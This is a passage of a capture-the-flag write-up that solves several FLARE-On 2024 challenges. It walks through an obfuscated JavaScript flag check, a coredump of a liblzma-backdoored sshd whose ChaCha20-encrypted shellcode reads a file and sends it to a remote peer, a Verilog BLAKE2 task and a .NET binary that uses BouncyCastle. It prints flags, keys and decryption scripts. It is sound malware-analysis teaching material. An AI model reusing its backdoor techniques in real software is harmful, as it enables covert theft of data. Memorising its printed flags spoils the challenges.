  document.getElementById('caption1').hidden = true
  document.getElementById('caption2').hidden = true
  document.getElementById('caption3').hidden = true
  const a = document.getElementById('meme-template')
  var b = a.value.split('.')[0]
  a0d[b].forEach(function (c, d) {
    var e = document.getElementById('caption' + (d + 1))
    e.hidden = false
    e.style.top = a0d[b][d][0]
    e.style.left = a0d[b][d][1]
    e.textContent = a0c[Math.floor(Math.random() * (a0c.length - 1))]
  })
}
a0f()
const a0g = document.getElementById('meme-image'),
  a0h = document.getElementById('meme-container'),
  a0i = document.getElementById('remake'),
  a0j = document.getElementById('meme-template')
a0g.src = a0e[a0j.value]
a0j.addEventListener('change', () => {
  a0g.src = a0e[a0j.value]
  a0g.alt = a0j.value
  a0f()
})
a0i.addEventListener('click', () => {
  a0f()
})
function a0k() {
  const a = a0g.alt.split('/').pop()
  if (a !== Object.keys(a0e)[5]) {
    return
  }
  const b = a0l.textContent,
    c = a0m.textContent,
    d = a0n.textContent
  if (
    a0c.indexOf(b) == 14 &&
    a0c.indexOf(c) == a0c.length - 1 &&
    a0c.indexOf(d) == 22
  ) {
    var e = new Date().getTime()
    while (new Date().getTime() < e + 3000) {}
    var f =
      d[3] +
      'h' +
      a[10] +
      b[2] +
      a[3] +
      c[5] +
      c[c.length - 1] +
      '5' +
      a[3] +
      '4' +
      a[3] +
      c[2] +
      c[4] +
      c[3] +
      '3' +
      d[2] +
      a[3] +
      'j4' +
      a0c[1][2] +
      d[4] +
      '5' +
      c[2] +
      d[5] +
      '1' +
      c[11] +
      '7' +
      a0c[21][1] +
      b.replace(' ', '-') +
      a[11] +
      a0c[4].substring(12, 15)
    f = f.toLowerCase()
    alert(atob('Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog') + f)
  }
}
const a0l = document.getElementById('caption1'),
  a0m = document.getElementById('caption2'),
  a0n = document.getElementById('caption3')
a0l.addEventListener('keyup', () => {
  a0k()
})
a0m.addEventListener('keyup', () => {
  a0k()
})
a0n.addEventListener('keyup', () => {
  a0k()
})

Since a0k is the only large function with cryptic looking code in it, it should be the function related to flag, especially the final atob('Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog') executes to the string Congratulations! Here you go:. Therefore, the variable f must be the flag string under right conditions.

We see that f is dependent on 4 other variables, a, b, c, d.

  • From the top of the function we know that the function returns if a !== Object.keys(a0e)[5]. Meaning a must be equal to the right-hand side, which is boy_friend0.jpg.
  • From the condition a0c.indexOf(b) == 14 we know that b must be a0c[14] which evaluates to FLARE On.
  • From the condition a0c.indexOf(c) == a0c.length - 1 we know that c must be a0c[a0c.length - 1] which evaluates to Security Expert.
  • From the condition a0c.indexOf(c) == 22 we know that d must be a0c[22] which evaluates to Malware.

After setting all the variables to their correct value, we can simply evaluate f and get the flag:

wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com

WAIT! THERE IS MORE!
🔔🔔🔔 BONUS EASTER EGG TIME 🔔🔔🔔

You might notice that one of the images (fish.jpg to be exact) has a content type of binary/red, and it does not show up in the selection. If you file it, you would see that it’s a AMD64 PE executable. Going into the main function we see this:

image.png

The function at 1420 is a simple XOR implementation, where the first argument is a zero-terminated string, and the second argument is a single byte as the XOR key. So let’s decrypt all the texts:

  • 9000: “Unfortunately, this file is not relevant AT ALL!”
  • 9031: “Really, don't waste your time here.”
  • 9055: “Just kidding: here is the flag…”
  • 9077: “Just kidding again... there's nothing exciting to be found here.”
  • 90b8: “You don't believe me? Fair enough.”
  • 90db: “You should have trusted me though. Have fun with FLARE-ON this year!”

And if you run the program, only the first string and the second sentence of the last string would be printed out. What a troll.

5 - sshd

We are given a giant tar file which is a copy of the entire Linux filesystem.

forensics

Since the first step is forensics, we need to do some investigation of the files on the filesystem. I tried a few different things and the thing that works the best is to look at all the files in the order that they are modified.

image.png

Which gives us output that starts with this

drwx------ toomanybananas/primarygroup        0 2024-09-12 05:55 ./root/
-rw-r--r-- toomanybananas/primarygroup     2304 2024-09-12 05:55 ./root/flag.txt
lrwxrwxrwx toomanybananas/primarygroup        0 2024-09-10 06:21 ./etc/ssl/certs/vTrus_Root_CA.pem -> /usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt

Oh yeah, there’s flag.txt right here! Opening it up we see

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀
⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀
⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀
⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅
⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀
⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀
⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀
⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀
⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
if only it were that easy......

Yeah of course it couldn’t be that easy… After some manual digging, I found a coredump located at /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 that’s dumped from sshd which is the title of the challenge. So this must be it.

coredump

To look further into the coredump, it is the best to restore the environment that it was run. So I import the rootfs into the docker and spawned a shell using

docker import ./ssh_container.tar
docker run --rm -it sha256:4e1c4961 /bin/bash

Luckily the environment already have gdb installed, so we just run

gdb sshd -c /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676

Inside gdb, we run bt to print where it throws a segmentation fault.

(gdb) bt
#0  0x0000000000000000 in ?? ()
#1  0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#2  0x000055b46c7867c0 in ?? ()
#3  0x000055b46c73f9d7 in ?? ()
#4  0x000055b46c73ff80 in ?? ()
#5  0x000055b46c71376b in ?? ()
#6  0x000055b46c715f36 in ?? ()
#7  0x000055b46c7199e0 in ?? ()
#8  0x000055b46c6ec10c in ?? ()
#9  0x00007f4a18e5824a in __libc_start_call_main (
    main=main@entry=0x55b46c6e7d50, argc=argc@entry=4, 
    argv=argv@entry=0x7ffcc6602eb8)
    at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4, 
    argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8)
    at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()

Huh, so it’s thrown inside /lib/x86_64-linux-gnu/liblzma.so.5. To find out the offset to the base of the library, we run info proc mappings to get the memory mappings of the modules.

    Start Addr           End Addr       Size     Offset objfile
[...]
0x7f4a18c86000     0x7f4a18c8a000     0x4000        0x0 / (deleted)
0x7f4a18c8a000     0x7f4a18ca9000    0x1f000     0x4000 / (deleted)
0x7f4a18ca9000     0x7f4a18cb7000     0xe000    0x23000 / (deleted)
0x7f4a18cb7000     0x7f4a18cb8000     0x1000    0x30000 / (deleted)
0x7f4a18cb8000     0x7f4a18cb9000     0x1000    0x31000 / (deleted)
[...]

So the offset to the base is 0x7f4a18c8f88f - 0x7f4a18c86000 = 0x988f.

Although it is displayed as (deleted), the so file is still on the filesystem. I was worried that there are some pitfalls here but it seems not important for the following steps, so I just ignored it.

Opening up the so file in Ghidra and jump to this location, we see a block that looks very much like a backdoor:

image.png

Inside 93f0, we see constants such as 0x3320646e61707865 and 0x6b20657479622d32, which are constants for ChaCha20 cipher. Note that Salsa20, which ChaCha20 based on, uses the same constants. The identifying part here is that the nonce used is 12 bytes, which only exists in ChaCha20.

Also, with a simple search it is possible to find the exact code used for the functions github.com/spcnvdr/xchacha20. So we know 93f0 is chacha20_init_context and 9520 is chacha20_xor.

So the code in the red block is essentially decrypting a constant block of data at 23960 of size 0xF96 using a ChaCha20 cipher, with keys from a remote connection data. The decrypted data is directly run as shellcode, and after the shellcode is run the data is re-encrypted.

Since the data is re-encrypted, we cannot find the shellcode from the coredump directly. Therefore, we have to look for the key. Notice that the segfault happened at 988f, which is the return address of this CALL at 988d:

image.png

Looking at the corresponding decompiled code, the param2 which stores the key is exactly passed through as the second parameter of the function call as well. Therefore, by dumping the data at pointer stored in register rsi, we can get the key. Using gdb:

(gdb) x/48bx $rsi
0x55b46d51dde0: 0x48    0x7a    0x40    0xc5    0x94    0x3d    0xf6    0x38
0x55b46d51dde8: 0xa8    0x18    0x13    0xe2    0xde    0x63    0x18    0xa5
0x55b46d51ddf0: 0x07    0xf9    0xa0    0xba    0x2d    0xbb    0x8a    0x7b
0x55b46d51ddf8: 0xa6    0x36    0x66    0xd0    0x8d    0x11    0xa6    0x5e
0x55b46d51de00: 0xc9    0x14    0xd6    0x6f    0xf2    0x36    0x83    0x9f
0x55b46d51de08: 0x4d    0xcd    0x71    0x1a    0x52    0x86    0x29    0x55

We dump 48 bytes because it’s 4 (magic header 0x48 0x7a 0x40 0xc5) + 32 (key) + 12 (nonce). Putting the key and nonce into CyberChef and we get our shellcode:

image.png

shellcode

For me, a quick way to look at this shellcode is to simply overwrite the encrypted data with the decrypted data, so I can see it in the same binary environment. Decompile it, go into the main entry point at 24722 and we see this:

image.png

Oh no, why is Ghidra so bad at displaying syscalls! Don’t worry, you actually just need to run the built-in script ResolveX86orX64LinuxSyscallsScript.java located in Tools→Script Manager. After the script we get much better results:

image.png

The code is rather simple to read:

  • 2397a establish a connection to a remote peer.
  • Two recvfrom receives data of size 0x20 and 0xc.
  • One recvfrom receives a uint32_t as size of the payload.
  • One recvfrom receives the payload with the size just received.
  • The payload is used as a filename to be opened.
  • 0x80 bytes of the file is read.
  • A strlen counts the number of bytes (corresponding to the do..while loop).
  • For function 24632, we see the familiar constant expand 32-byte K again. And for 246a9, we see the familiar state rotation and XOR. So we can be quite sure that this is another ChaCha20 cipher.
  • The remaining code just sends the data off and close the connection.

Because of this, we can be fairly sure that the 0x20 and 0xc data we received are the key and the nonce for the cipher. The decompiled code also confirms that.

So we just need to recover the data from the stack, again. This time it is slightly more complicated, since the function we are looking at is not in the frame, so it would take some effort to calculate the correct offset of the stack address.

The RSP at the time of segfault is 0x7ffcc6601e98, which is the result of a CALL from 9820. So the RSP at 9820 should be 0x7ffcc6601e98 + 8 = 0x7ffcc6601ea0. From 9820 to 24722 takes 2 CALLs, and there are 6 PUSHes, so in total it should be 0x7ffcc6601ea0 - 8 * 8 = 0x7ffcc6601e60 as the RBP of 24722. Therefore, we can calculate the offsets of each data by reading the raw offsets from RBP from the assembly:

  • key: located at RBP-0x1278
  • nonce: located at RBP-0x1258
  • payload size: located at RBP-0xc8
  • payload (filename): located at RBP-0x1248
  • file size: located at RBP-0xc4
  • file content (encrypted): located at RBP-0x1148

Note that anything that is small offset from RBP (payload size and file size) is already overwritten on the stack, so we cannot recover them. For the remaining, we can dump them using gdb:

(gdb) set $off=0x7ffcc6601e60
(gdb) x/32bx $off-0x1278
0x7ffcc6600be8: 0x8d    0xec    0x91    0x12    0xeb    0x76    0x0e    0xda
0x7ffcc6600bf0: 0x7c    0x7d    0x87    0xa4    0x43    0x27    0x1c    0x35
0x7ffcc6600bf8: 0xd9    0xe0    0xcb    0x87    0x89    0x93    0xb4    0xd9
0x7ffcc6600c00: 0x04    0xae    0xf9    0x34    0xfa    0x21    0x66    0xd7
(gdb) x/12bx $off-0x1258
0x7ffcc6600c08: 0x11    0x11    0x11    0x11    0x11    0x11    0x11    0x11
0x7ffcc6600c10: 0x11    0x11    0x11    0x11
(gdb) x/s $off-0x1248
0x7ffcc6600c18: "/root/certificate_authority_signing_key.txt"
(gdb) x/64bx $off-0x1148
0x7ffcc6600d18: 0xa9    0xf6    0x34    0x08    0x42    0x2a    0x9e    0x1c
0x7ffcc6600d20: 0x0c    0x03    0xa8    0x08    0x94    0x70    0xbb    0x8d
0x7ffcc6600d28: 0xaa    0xdc    0x6d    0x7b    0x24    0xff    0x7f    0x24
0x7ffcc6600d30: 0x7c    0xda    0x83    0x9e    0x92    0xf7    0x07    0x1d
0x7ffcc6600d38: 0x02    0x63    0x90    0x2e    0xc1    0x58    0x00    0x00
0x7ffcc6600d40: 0xd0    0xb4    0x58    0x6d    0xb4    0x55    0x00    0x00
0x7ffcc6600d48: 0x20    0xea    0x78    0x19    0x4a    0x7f    0x00    0x00
0x7ffcc6600d50: 0xd0    0xb4    0x58    0x6d    0xb4    0x55    0x00    0x00

Using CyberChef we can decrypt the flag:

image.png

…or not.

During the event I guessed that there must be something changed about the cipher, which is quite annoying to figure out. Instead, I just wrote an angr script to execute the cipher functions on the ciphertext. Since the cipher is symmetric, this would decrypt it.

import angr

project = angr.Project('rootfs/usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1', load_options={'auto_load_libs': False})

state = project.factory.call_state(0x424632)
state.regs.rsp -= 0x1688

ubuf = state.regs.rsp + 0x410
a3 = state.regs.rsp + 0x430
a1 = state.regs.rsp + 0x15c8
buf = state.regs.rsp + 0x540

enc = bytes.fromhex('a9 f6 34 08 42 2a 9e 1c 0c 03 a8 08 94 70 bb 8d aa dc 6d 7b 24 ff 7f 24 7c da 83 9e 92 f7 07 1d 02 63 90 2e c1 58')

state.memory.store(ubuf, bytes.fromhex('8d ec 91 12 eb 76 0e da 7c 7d 87 a4 43 27 1c 35 d9 e0 cb 87 89 93 b4 d9 04 ae f9 34 fa 21 66 d7 11 11 11 11 11 11 11 11 11 11 11 11 00 00 00 00'))
state.memory.store(buf, enc)

state.regs.rax = a1
state.regs.rdx = ubuf
state.regs.rcx = a3
state.regs.r8 = 0

sigmr = project.factory.simulation_manager(state)
sigmr.explore(find=0x4246a8)

state = project.factory.call_state(0x4246a9, base_state=sigmr.found[0])

state.regs.rax = a1
state.regs.rdx = buf
state.regs.rcx = len(enc)

sigmr = project.factory.simulation_manager(state)
sigmr.explore(find=0x4246e3)

state = sigmr.found[0]
print(state.memory.load(buf, len(enc)).concrete_value.to_bytes(len(enc)))

Which gives us the flag:

image.png

During the write up, I took some time to figure out what is changed, and it was actually the constant itself. The shellcode implementation of ChaCha20 has the constant as expand 32-byte K, where the standard one has a lower case k. Truly obnoxious.

6 - bloke2

We got quite a different thing to reverse this time: A circuit implementation of BLAKE2 hash in Verilog.

Without much prior knowledge to Verilog, my first instinct is to find all big, random constants in the code, since entropy-wise they have the most chance to contain the flag.

Constants in Verilog is defined as [size]'[base][value] where size is a number indicating the size of the constant, base it something like b or h indicating binary or hex value, and value is the number literal. So we can use this regular expression \d+'.[a-f0-9]{3,}, which searches for long constants. We got the following results:

image.png

After some Googling and consulting Wikipedia, we can confirm that the constants in block2b.v and bloke2s.v are the standard IV bytes for BLAKE2b and BLAKE2s, and the constants in f_sched.v are the standard S-Box table for BLAKE algorithm.

Therefore, the only thing remaining is the TEST_VAL stored in data_mgr.v. In the entire codebase, there is only one reference to this variable

image.png

Let’s try to understand the code. The TEST_VAL is bitwise-AND’d with a extended variable tst. And if we look at the definition of tst, it is reg tst meaning it is by default a single-bit value. So the code is essentially saying: If tst is 0, then the line is equivalent to h <= h_in; Otherwise, it is equivalent to h <= h_in ^ TEST_VAL.

Since the description of the challenge hints towards a “extracted with the testbenches,” it probably refers to having tst being 1. Since we have the source code, let’s just modify it directly to have it always be h <= h_in ^ TEST_VAL.

But what would be the correct h_in? Here I just decided to follow the README and run all the modules to see what their output is. In the process, we are pretty lucky to have the flag printed out directly for the module bloke2b_tb:

image.png

7 - fullspeed

We are given a Wireshark capture file and a stripped PE executable in AMD64 arch. Looking into the packet capture first, there’s only one TCP stream with traffic that are seemingly random, so apparently they are encrypted. Let’s look into the executable then.

dynamic analysis

After opening up it in Ghidra, I want to first locate the position where it calls socket related functions. Normally if we are in a Linux environment, I would only have to look for cross-references to socket or recv these network-related system calls. But since we are in Windows, the APIs are more complicated to look for.

Luckily, there’s a Windows tool called “API Monitor” that I found very similar to strace on Linux, and is easy to use. Let’s open it up and walk through how to use it:

Since we are only looking for network-related system calls, I want to filter only those as well. On the left-hand side column of API Monitor, you can do exactly that.

image.png

Then we monitor the newly started fullspeed.exe process, and here’s the captured API calls (related to network that we filtered):

image.png

Notice that a single WSAConnect is called. If we click on it, on the bottom of the screen, the argument of the call is shown:

image.png

Here it didn’t do a good job of parsing the struct sockaddr with AF_INET6, which indicates a IN6_ADDR structure, so we need to do some manual parsing:

  1. Right click on WSAConnect and set a breakpoint before call

    image.png

  2. Run the program again. When the breakpoint prompt pops up, right click on the second argument and select “Edit Buffer…”

    image.png

  3. Then you can see the argument buffer in the hex dump

    image.png

Looking at Microsoft’s documentation, the sockaddr_in6 struct looks like this:

struct sockaddr_in6 {
  USHORT sin6_family;
  USHORT sin6_port;
  ULONG  sin6_flowinfo;
  UCHAR  sin6_addr[16];
  [...]
}
  • sin6_family: 0x17, which represents AF_INET6.
  • sin6_port: 0x7a69, which is 31337.
  • sin6_flowinfo: just full of zeros.
  • sin6_addr: parses to ::ffff:c0a8:3867, which is a mapped IPv4 address 192.168.56.103.

Looking back at the Wireshark capture file we get, it is indeed establishing connection to this address from the very beginning.

One other awesome feature of API Monitor is that it records the call stack with address and module offset:

image.png

So we can quickly find out the call chain to this API. If you don’t see this many frames being recorded, you can go to Tools→Options…→Monitoring→Maximum Frames and increase that number.

However, all functions in the call stack are still quite complicated to look at, and it’s hard to tell which one contains the core logic, since there’re no constants or strings or symbol names that are apparent in sight.

Here I decide to continue the dynamic debugging process by creating a fake server. Using nc on Linux is pretty simple, or using Python:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.56.103', 31337))
s.listen(1)
c, _ = s.accept()
while True:
  c.recv(1)

Note that if you computer does not have the IP 192.168.56.103, listening on it would fail. You can either patch the binary to have it connect to another IP, or you can setup a virtual network interface that routes this IP.

Now we run the program again, and we see two sends and a recv after WSAConnect newly appeared.

image.png

Let’s look at the call stack of send and recv

image.png

image.png

And combining with the call stack of WSAConnect, we can easily see that their lowest common ancestor is the function at range around 0x108bd5, which corresponds to the function 108ac0. So we can be fairly sure that this is the “main” function that handles the core logic of the program.

If we take a closer look, we see that the send and recv also have a lowest common ancestor at around 0x108000, which corresponds to the function 107ea0. So this function should be the function that handles the communication itself.

So let’s take a look at exactly what is being sent through the network. We found the corresponding calls to the above two sends and recv inside 107ea0 which is this block of code:

image.png

Now, based on some prior knowledge and also the hint given in the description, we know this binary is compiled with .NET Native AOT. This means that the code is written with “object-oriented programming” in mind, meaning you would see functions as “methods” (where the first argument is the pointer to the object), and you would see virtual function tables for function calls.

Here, for the first argument, we see that they all point to the same lVar16 + 0x28 which is probably the socket object. And the second argument is always assigned before the call, which implies some kind of argument.

If we follow the second parameter all the way into the function call, we will find it’s being dereferenced here:

image.png

So the parameter structure looks something like:

struct { uint64_t a; uint32_t b };

Now if we go back to the parameter before calling, and set the correct type, we see that

image.png

Now we can just guess that b is the length and a is the buffer pointer. Dynamic debugging tells us that the data sent through is indeed of size b with data from pointer a. In C#, the structure for this would be Span:

struct Span<T> { T *data; int size; }

Let’s continue the dynamic analysis. Reading the code, we know that the program, after two sends, is trying to recv twice, each with 0x30 size. So we change our Python script to send it two buffers of size 0x30 as well:

s.send(b'\x00' * 0x30)
s.send(b'\x00' * 0x30)

Oh well, the program prints “err” and exits. However, remember that we are given a packet capture file, so let’s try replaying the response here.

DATA = bytes.fromhex('a0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c3196a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc')
c.send(DATA)

We send the responses in the pcap file back, and this time it didn’t error out. Instead, from API Monitor we see a new call to recv with size 1:

image.png

From the stack trace we see that this recv is called from a different place, in function e4be0 called from offset 0x108452 (107ea0+0x5B2). It is clear that there are some logic in between the last recv and the new recv call, but unfortunately dynamic debugging cannot give us more information, so let’s turn to static reversing now.

static analysis

In fact, the best way to do this is to probably restore the symbols. There are some tutorials and I tried to build my own .NET AOT binary and extract signature from it. However, it didn’t work too well for me. Also, there might be some symbols used for reflection that we can extract from the binary, but I couldn’t find tooling for that. Finally I decided to go hardcore and do the actual reversing.

Let’s focus on 107ea0 again, and try to reverse this block of code:

image.png

There are two things we can guess from it:

  1. The sent data was probably generated from the function 70b77
  2. The buffer used for the data is probably allocated from 2ad0
  3. There are two vtable calls on line 68 and 69.

So let’s take a look into 2ad0 first.

image.png

Since we know that this is an allocation-related function, it is not hard to guess what each part is doing:

  • The function calculates the size needed for the allocation, which is the number of elements (param_2) times the size (*param_1) plus the size of the header, and a term for alignment.
  • It uses the thread local to store the allocator-needed data.
  • It checks if the already allocated page contains enough memory for fitting the object.
  • If it does, it allocates and returns (inside the second if).

From this we also know that this is an allocation for array. From the allocation code, we can see the layout of the array object looks like this

struct Array { void *meta; int len; T[] data; }

where meta is the same as the input param_1, and len is the number of elements.

Now let’s tackle one of the hard ones, 71ae0. First, let’s see the start of this function

image.png

Notice that, the same exact logic is applied to param_1 and then to param_2. From here, it should be clear that:

  • param_1 and param_2 should have the same type
  • This function should be symmetric, meaning if you swap param_1 and param_2, the function should return the same thing.
  • If a part of one parameter is 0, then it should directly return the other parameter.

These observations would be important for us to have educated guess on what this function does. For the next part:

image.png

We see that the AllocateArray that we just reversed appeared again, so we know uVar13 is the number of elements of whatever new array it wants to create here. Reading up, uVar13 is derived from min(*(uint *)(lVar7 + 8), *(uint *)(lVar8 + 8)). Although we don’t know the type of lVar7 or lVar8 yet, we know the offset 8 of the structure contains the size, so we naturally thought of array structure we just saw. Although we can’t be sure, it doesn’t hurt to give it the type and see if it makes sense in the code.

Ok, let’s see this giant loop coming next:

image.png

Actually, the Array we just guessed makes sense here (I changed the type of data to uint32_t[] based on the access size), and the code is rather easy to read:

  • The data of the newly allocated array contains the XOR of the data from lVar7 and lVar8.
  • iVar1, uVar11 and uVar4 and some kind of sign indicator, because when they are < 0 the result is flipped.
  • Label at 71cc8 is out-of-bounds error handler, so we can ignore that.

So basically, this code is simply XOR’ing the two arrays into a new array. To me, this code actually behaves very much like a XOR operator for big integer implementation, so let’s try to guess this big interger’s layout:

struct BigInt {
  void *meta;
  struct Array<uint32_t> *words;
  int sign;
}

Now is the final part of this function:

image.png

If we look into 29b0, we see another allocation-related logic that is very similar to 2ad0 we saw before, but instead this time it is allocating a single object according to the meta object given. Let’s call 29b0 AllocateObject.

Looking into 6b560 we see this:

image.png

This beginning information gives us information that BigInt probably has two more uint32_t fields.

Now, let’s try to find the actual source code of this Big Integer implementation, I asked ChatGPT:

image.png

And let’s try to see the matching of each one of these packages:

  • System.Numerics: only two fields _sign and _bits, probably not.
  • Extreme.Numerics: actually not free and not open-source, ChatGPT L.
  • Nethereum.Hex/HexTypes: just a wrapper around built-in BigInteger for serialization.
  • BCrypt.Net: I couldn’t find a Big Integer implementation at all.
  • BouncyCastle: there is uint[] magnitude and int sign, and two extra fields nBits, nBitLength which initializes to -1. This is exactly the same as what we reversed.

So I looked into BouncyCastle's BigInteger::Xor here:

image.png

As you can see, this is exactly the same layout as the decompiled code. So we can be fairly sure that the code is using BouncyCastle.

Actually you can find “BouncyCastle” in the binary’s strings directly, I always forget about that lol.

Anyway, since now we have the source code, it is much easier to reverse the rest of the parts. One trick is to search for function signature directly. Anyway, here’s a list of the relevant functions:

  • 71ae0: BigInteger::Xor(BigInteger value)
  • 70b00: BigInteger::ToByteArray(bool unsigned, Span<byte> output)
  • 6c440: BigInteger::BigInteger(int sizeInBits, Random random) (constructor for generating random Big Integer)
  • 6c1a0: BigInteger(int sign, byte[] bytes, int offset, int length, bool bigEndian) (constructor for converting Byte Array to Big Integer)

Now we have around half of the functions calls in 107ea0 with symbols:

image.png

But the other half that we don’t know consists of these dynamic function calls.

static + dynamic analysis

Now let’s deal with dynamic methods. Notice that the objects in this binary all have the first field being a fixed “meta” struct when they are allocated. For example, the BigInteger object we analyzed:

image.png

It’s meta object is located in 15b268. So whenever we see this offset of meta object being used for AllocateObject, we know a BigInteger is being allocated.

When a method of an object is called, for example something like this:

image.png

It tried to index the correct function pointer from the meta struct (which presumably contains the function table or virtual table) of the object, and then calls the function with the first argument being the object itself.

So this 15b268 should contain the offset to all BigInteger's virtual methods, right? Yes, but unfortunately this information is filled in at runtime. Therefore, it is easier to debug the process and dump the function call address.

Here, I use x64dbg for debugging on Windows:

  1. x64dbg by default have a breakpoint at the entrypoint. When at the entry point, you can go to “Memory Map” and find the base address of the executable.

    image.png

  2. In the decompile view (“CPU”), press Ctrl+G to go to address. Here, you can input the base address + the CALL instruction offset.

    image.png

  3. Add a breakpoint at this instruction by right click or click on the left dot of that line.

    image.png

  4. Run the program until this instruction is hit. The bottom will display the target address (7FF752E948F0 in this case).

    image.png

  5. Subtract the base address obtained in step 1, and you get the offset of the calculated jump. It is 0x748F0 in this case.

  6. Furthermore, because the rax register now refers to the meta object, we can just dump the entire meta object.

    image.png

Back into Ghidra, right inside 748F0, we saw another vtable call:

image.png

Note here I recovered the function arguments by hand, judging by what arguments are passed in.

Using the same process or the dumped table, we know this goes to 74950. And wow, it’s another computed call:

image.png

Again, I manually fixed the types and calling arguments.

Repeat the process, and we know this goes to 75920.

image.png

There’s no dynamic calls anymore, and the only function unknown is 6c9f0. However, notice the bottom part: This type of the code happens inline every time when the program throws, which involved first allocating an object, and then calling some functions, ending with an INT3.

During static analysis, arguments to the exception such as 153d98 is not filled in yet. The ideal option here is to find out how .NET AOT compiler translate exceptions into assembly, but that would be too complicated. Instead, I decided to inspect it via dynamic debugging:

image.png

Behold, an error string “value invalid for Fp field element”. Doing a GitHub search gives us:

image.png

This is inside BouncyCastle! Luckily, we have recovered another type ECCurve. And not only that, because ECCurve references other types such as ECFieldElement and ECPoint, we are able to recover all of them through cross reference and type induction. Here’s my mapping of the C# classes into C structs:

struct ECFieldElement
{
  void *meta;
  BigInt *q;
  BigInt *r;
  BigInt *x;
};

struct ECPoint
{
  void *meta;
